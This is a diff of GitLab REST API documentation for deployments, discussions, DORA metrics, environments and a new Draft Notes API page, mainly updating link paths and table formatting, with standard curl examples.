688806e9b22..c6537493eab 100644 --- a/doc/api/deployments.md +++ b/doc/api/deployments.md @@ -17,7 +17,7 @@ GET /projects/:id/deployments | Attribute | Type | Required | Description | |-------------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `order_by` | string | no | Return deployments ordered by either one of `id`, `iid`, `created_at`, `updated_at`, `finished_at` or `ref` fields. Default is `id`. | | `sort` | string | no | Return deployments sorted in `asc` or `desc` order. Default is `asc`. | | `updated_after` | datetime | no | Return deployments updated after the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). | @@ -195,7 +195,7 @@ GET /projects/:id/deployments/:deployment_id | Attribute | Type | Required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `deployment_id` | integer | yes | The ID of the deployment | ```shell @@ -354,7 +354,7 @@ POST /projects/:id/deployments | Attribute | Type | Required | Description | |---------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user.| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user.| | `environment` | string | yes | The [name of the environment](../ci/environments/index.md) to create the deployment for. | | `sha` | string | yes | The SHA of the commit that is deployed. | | `ref` | string | yes | The name of the branch or tag that is deployed. | @@ -412,7 +412,7 @@ PUT /projects/:id/deployments/:deployment_id | Attribute | Type | Required | Description | |------------------|----------------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `deployment_id` | integer | yes | The ID of the deployment to update. | | `status` | string | yes | The new status of the deployment. One of `running`, `success`, `failed`, or `canceled`. | @@ -482,7 +482,7 @@ DELETE /projects/:id/deployments/:deployment_id | Attribute | Type | Required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `deployment_id` | integer | yes | The ID of the deployment | ```shell @@ -541,7 +541,7 @@ POST /projects/:id/deployments/:deployment_id/approval | Attribute | Type | Required | Description | |-----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `deployment_id` | integer | yes | The ID of the deployment. | | `status` | string | yes | The status of the approval (either `approved` or `rejected`). | | `comment` | string | no | A comment to go with the approval | diff --git a/doc/api/discussions.md b/doc/api/discussions.md index 67fca84e449..ccef57dab7f 100644 --- a/doc/api/discussions.md +++ b/doc/api/discussions.md @@ -24,7 +24,7 @@ Label notes are not part of this API, but recorded as separate events in By default, `GET` requests return 20 results at a time because the API results are paginated. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). ## Issues @@ -38,7 +38,7 @@ GET /projects/:id/issues/:issue_iid/discussions | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | ```json @@ -137,7 +137,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | | `discussion_id` | integer | yes | The ID of a discussion item | @@ -158,7 +158,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | | `body` | string | yes | The content of the thread | | `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | @@ -183,7 +183,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -207,7 +207,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -230,7 +230,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | | `discussion_id` | integer | yes | The ID of a discussion | | `note_id` | integer | yes | The ID of a discussion note | @@ -252,7 +252,7 @@ GET /projects/:id/snippets/:snippet_id/discussions | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of an snippet | ```json @@ -351,7 +351,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of an snippet | | `discussion_id` | integer | yes | The ID of a discussion item | @@ -373,7 +373,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of an snippet | | `body` | string | yes | The content of a discussion | | `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | @@ -395,7 +395,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of an snippet | | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -419,7 +419,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of an snippet | | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -442,7 +442,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of an snippet | | `discussion_id` | integer | yes | The ID of a discussion | | `note_id` | integer | yes | The ID of a discussion note | @@ -464,7 +464,7 @@ GET /groups/:id/epics/:epic_id/discussions | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | ```json @@ -564,7 +564,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | | `discussion_id` | integer | yes | The ID of a discussion item | @@ -586,7 +586,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | | `body` | string | yes | The content of the thread | | `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | @@ -609,7 +609,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -633,7 +633,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -656,7 +656,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -678,7 +678,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/discussions | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | ```json @@ -842,7 +842,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `discussion_id` | integer | yes | The ID of a discussion item | @@ -866,7 +866,7 @@ Parameters for all comments: | Attribute | Type | Required | Description | | ---------------------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `body` | string | yes | The content of the thread | | `commit_id` | string | no | SHA referencing commit to start this thread on | @@ -1008,7 +1008,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `discussion_id` | integer | yes | The ID of a thread | | `resolved` | boolean | yes | Resolve/unresolve the discussion | @@ -1031,7 +1031,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -1055,7 +1055,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -1086,7 +1086,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -1108,7 +1108,7 @@ GET /projects/:id/repository/commits/:commit_id/discussions | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `commit_id` | string | yes | The SHA of a commit | ```json @@ -1252,7 +1252,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `commit_id` | string | yes | The SHA of a commit | | `discussion_id` | string | yes | The ID of a discussion item | @@ -1274,7 +1274,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `commit_id` | string | yes | The SHA of a commit | | `body` | string | yes | The content of the thread | | `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | @@ -1313,7 +1313,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `commit_id` | string | yes | The SHA of a commit | | `discussion_id` | string | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -1337,7 +1337,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `commit_id` | string | yes | The SHA of a commit | | `discussion_id` | string | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | @@ -1367,7 +1367,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `commit_id` | string | yes | The SHA of a commit | | `discussion_id` | string | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | diff --git a/doc/api/dora/metrics.md b/doc/api/dora/metrics.md index 4374d1dde95..f0e90234ff4 100644 --- a/doc/api/dora/metrics.md +++ b/doc/api/dora/metrics.md @@ -23,10 +23,10 @@ GET /projects/:id/dora/metrics | Attribute | Type | Required | Description | |:---------------------|:-----------------|:---------|:------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) can be accessed by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding) can be accessed by the authenticated user. | | `metric` | string | yes | One of `deployment_frequency`, `lead_time_for_changes`, `time_to_restore_service` or `change_failure_rate`. | | `end_date` | string | no | Date range to end at. ISO 8601 Date format, for example `2021-03-01`. Default is the current date. | -| `environment_tier` | string | no | The [tier of the environment](../../ci/environments/index.md#deployment-tier-of-environments). Default is `production`. Deprecated, please use `environment_tiers`. | +| `environment_tier` | string | no | The [tier of the environment](../../ci/environments/index.md#deployment-tier-of-environments). Default is `production`. Deprecated, use `environment_tiers`. | | `environment_tiers` | array of strings | no | The [tiers of the environments](../../ci/environments/index.md#deployment-tier-of-environments). Default is `production`. | | `interval` | string | no | The bucketing interval. One of `all`, `monthly` or `daily`. Default is `daily`. | | `start_date` | string | no | Date range to start from. ISO 8601 Date format, for example `2021-03-01`. Default is 3 months ago. | @@ -64,10 +64,10 @@ GET /groups/:id/dora/metrics | Attribute | Type | Required | Description | |:--------------------|:-----------------|:---------|:------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) can be accessed by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding) can be accessed by the authenticated user. | | `metric` | string | yes | One of `deployment_frequency`, `lead_time_for_changes`, `time_to_restore_service` or `change_failure_rate`. | | `end_date` | string | no | Date range to end at. ISO 8601 Date format, for example `2021-03-01`. Default is the current date. | -| `environment_tier` | string | no | The [tier of the environment](../../ci/environments/index.md#deployment-tier-of-environments). Default is `production`. Deprecated, please use `environment_tiers`. | +| `environment_tier` | string | no | The [tier of the environment](../../ci/environments/index.md#deployment-tier-of-environments). Default is `production`. Deprecated, use `environment_tiers`. | | `environment_tiers` | array of strings | no | The [tiers of the environments](../../ci/environments/index.md#deployment-tier-of-environments). Default is `production`. | | `interval` | string | no | The bucketing interval. One of `all`, `monthly` or `daily`. Default is `daily`. | | `start_date` | string | no | Date range to start from. ISO 8601 Date format, for example `2021-03-01`. Default is 3 months ago. | diff --git a/doc/api/draft_notes.md b/doc/api/draft_notes.md new file mode 100644 index 00000000000..a168c41092c --- /dev/null +++ b/doc/api/draft_notes.md @@ -0,0 +1,131 @@ +--- +stage: Create +group: Code Review +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Draft Notes API **(FREE)** + +Draft notes are pending, unpublished comments on merge requests. They can be either start a discussion, or be associated with an existing discussion as a reply. They are viewable only by the author until they are published. + +## List all merge request draft notes + +Gets a list of all draft notes for a single merge request. + +```plaintext +GET /projects/:id/merge_requests/:merge_request_iid/draft_notes +``` + +| Attribute | Type | Required | Description | +| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) +| `merge_request_iid` | integer | yes | The IID of a project merge request + +```json +[{ + id: 5, + author_id: 23, + merge_request_id: 11, + resolve_discussion: false, + discussion_id: nil, + note: "Example title", + commit_id: nil, + line_code: nil, + position: + { + base_sha: nil, + start_sha: nil, + head_sha: nil, + old_path: nil, + new_path: nil, + position_type: "text", + old_line: nil, + new_line: nil, + line_range: nil + } +}] +``` + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/projects/14/merge_requests/11/draft_notes" +``` + +## Get a single draft note + +Returns a single draft note for a given merge request. + +```plaintext +GET /projects/:id/merge_requests/:merge_request_iid/draft_notes/:draft_note_id +``` + +| Attribute | Type | Required | Description | +| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). +| `draft_note_id` | integer | yes | The ID of a draft note. +| `merge_request_iid` | integer | yes | The IID of a project merge request. + +```json +{ + id: 5, + author_id: 23, + merge_request_id: 11, + resolve_discussion: false, + discussion_id: nil, + note: "Example title", + commit_id: nil, + line_code: nil, + position: + { + base_sha: nil, + start_sha: nil, + head_sha: nil, + old_path: nil, + new_path: nil, + position_type: "text", + old_line: nil, + new_line: nil, + line_range: nil + } +} +``` + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/14/merge_requests/11/draft_notes/5" +``` + +## Delete a draft note + +Deletes an existing draft note for a given merge request. + +```plaintext +DELETE /projects/:id/merge_requests/:merge_request_iid/draft_notes/:draft_note_id +``` + +| Attribute | Type | Required | Description | +| ------------------- | ---------------- | ----------- | --------------------- | +| `draft_note_id` | integer | yes | The ID of a draft note. +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). +| `merge_request_iid` | integer | yes | The IID of a project merge request. + +```shell +curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/14/merge_requests/11/draft_notes/5" +``` + +## Publish a draft note + +Publishes an existing draft note for a given merge request. + +```plaintext +PUT /projects/:id/merge_requests/:merge_request_iid/draft_notes/:draft_note_id/publish +``` + +| Attribute | Type | Required | Description | +| ------------------- | ---------------- | ----------- | --------------------- | +| `draft_note_id` | integer | yes | The ID of a draft note. +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). +| `merge_request_iid` | integer | yes | The IID of a project merge request. + +```shell +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/14/merge_requests/11/draft_notes/5/publish" +``` diff --git a/doc/api/environments.md b/doc/api/environments.md index 2b67c59ae35..bbf6c5fee99 100644 --- a/doc/api/environments.md +++ b/doc/api/environments.md @@ -15,12 +15,12 @@ Get all environments for a given project. GET /projects/:id/environments ``` -| Attribute | Type | Required | Description | -| --------- | ------- | -------- |-------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `name` | string | no | Return the environment with this name. Mutually exclusive with `search` | -| `search` | string | no | Return list of environments matching the search criteria. Mutually exclusive with `name`. Must be at least 3 characters long. | -| `states` | string | no | List all environments that match a specific state. Accepted values: `available`, `stopping`, or `stopped`. If no state value given, returns all environments. | +| Attribute | Type | Required | Description | +|-----------|----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded](rest/index.md#namespaced-path-encoding) path of the project. | +| `name` | string | no | Return the environment with this name. Mutually exclusive with `search`. | +| `search` | string | no | Return list of environments matching the search criteria. Mutually exclusive with `name`. Must be at least 3 characters long. | +| `states` | string | no | List all environments that match a specific state. Accepted values: `available`, `stopping`, or `stopped`. If no state value given, returns all environments. | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments?name=review%2Ffix-foo" @@ -133,10 +133,10 @@ Example response: GET /projects/:id/environments/:environment_id ``` -| Attribute | Type | Required | Description | -|-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `environment_id` | integer | yes | The ID of the environment | +| Attribute | Type | Required | Description | +|------------------|----------------|----------|--------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project. | +| `environment_id` | integer | yes | The ID of the environment. | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments/1" @@ -252,12 +252,12 @@ It returns `201` if the environment was successfully created, `400` for wrong pa POST /projects/:id/environments ``` -| Attribute | Type | Required | Description | -| ------------- | ------- | -------- | ---------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `name` | string | yes | The name of the environment | -| `external_url` | string | no | Place to link to for this environment | -| `tier` | string | no | The tier of the new environment. Allowed values are `production`, `staging`, `testing`, `development`, and `other` | +| Attribute | Type | Required | Description | +|----------------|----------------|----------|---------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project. | +| `name` | string | yes | The name of the environment. | +| `external_url` | string | no | Place to link to for this environment. | +| `tier` | string | no | The tier of the new environment. Allowed values are `production`, `staging`, `testing`, `development`, and `other`. | ```shell curl --data "name=deploy&external_url=https://deploy.gitlab.example.com" \ @@ -289,13 +289,13 @@ It returns `200` if the environment was successfully updated. In case of an erro PUT /projects/:id/environments/:environments_id ``` -| Attribute | Type | Required | Description | -| --------------- | ------- | --------------------------------- | ------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `environment_id` | integer | yes | The ID of the environment | -| `name` | string | no | [Deprecated and will be removed in GitLab 15.0](https://gitlab.com/gitlab-org/gitlab/-/issues/338897) | -| `external_url` | string | no | The new `external_url` | -| `tier` | string | no | The tier of the new environment. Allowed values are `production`, `staging`, `testing`, `development`, and `other` | +| Attribute | Type | Required | Description | +|------------------|----------------|----------|---------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | +| `environment_id` | integer | yes | The ID of the environment. | +| `name` | string | no | [Deprecated and will be removed in GitLab 16.0](https://gitlab.com/gitlab-org/gitlab/-/issues/338897). | +| `external_url` | string | no | The new `external_url`. | +| `tier` | string | no | The tier of the new environment. Allowed values are `production`, `staging`, `testing`, `development`, and `other`. | ```shell curl --request PUT --data "name=staging&external_url=https://staging.gitlab.example.com" \ @@ -325,10 +325,10 @@ It returns `204` if the environment was successfully deleted, and `404` if the e DELETE /projects/:id/environments/:environment_id ``` -| Attribute | Type | Required | Description | -| --------- | ------- | -------- | --------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `environment_id` | integer | yes | The ID of the environment | +| Attribute | Type | Required | Description | +|------------------|----------------|----------|--------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project. | +| `environment_id` | integer | yes | The ID of the environment. | ```shell curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments/1" @@ -348,12 +348,12 @@ By default, it only deletes environments 30 days or older. You can change this d DELETE /projects/:id/environments/review_apps ``` -| Attribute | Type | Required | Description | -| --------- | ------- | -------- | --------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | -| `before` | datetime | no | The date before which environments can be deleted. Defaults to 30 days ago. Expected in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`). | -| `limit` | integer | no | Maximum number of environments to delete. Defaults to 100. | -| `dry_run` | boolean | no | Defaults to `true` for safety reasons. It performs a dry run where no actual deletion will be performed. Set to `false` to actually delete the environment. | +| Attribute | Type | Required | Description | +|-----------|----------------|----------|--------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project. | +| `before` | datetime | no | The date before which environments can be deleted. Defaults to 30 days ago. Expected in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`). | +| `limit` | integer | no | Maximum number of environments to delete. Defaults to 100. | +| `dry_run` | boolean | no | Defaults to `true` for safety reasons. It performs a dry run where no actual deletion is performed. Set to `false` to actually delete the environment. | ```shell curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments/review_apps" @@ -389,11 +389,11 @@ It returns `200` if the environment was successfully stopped, and `404` if the e POST /projects/:id/environments/:environment_id/stop ``` -| Attribute | Type | Required | Description | -|------------------|----------------|----------|----------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `environment_id` | integer | yes | The ID of the environment | -| `force` | boolean | no | Force environment to stop without executing `on_stop` actions | +| Attribute | Type | Required | Description | 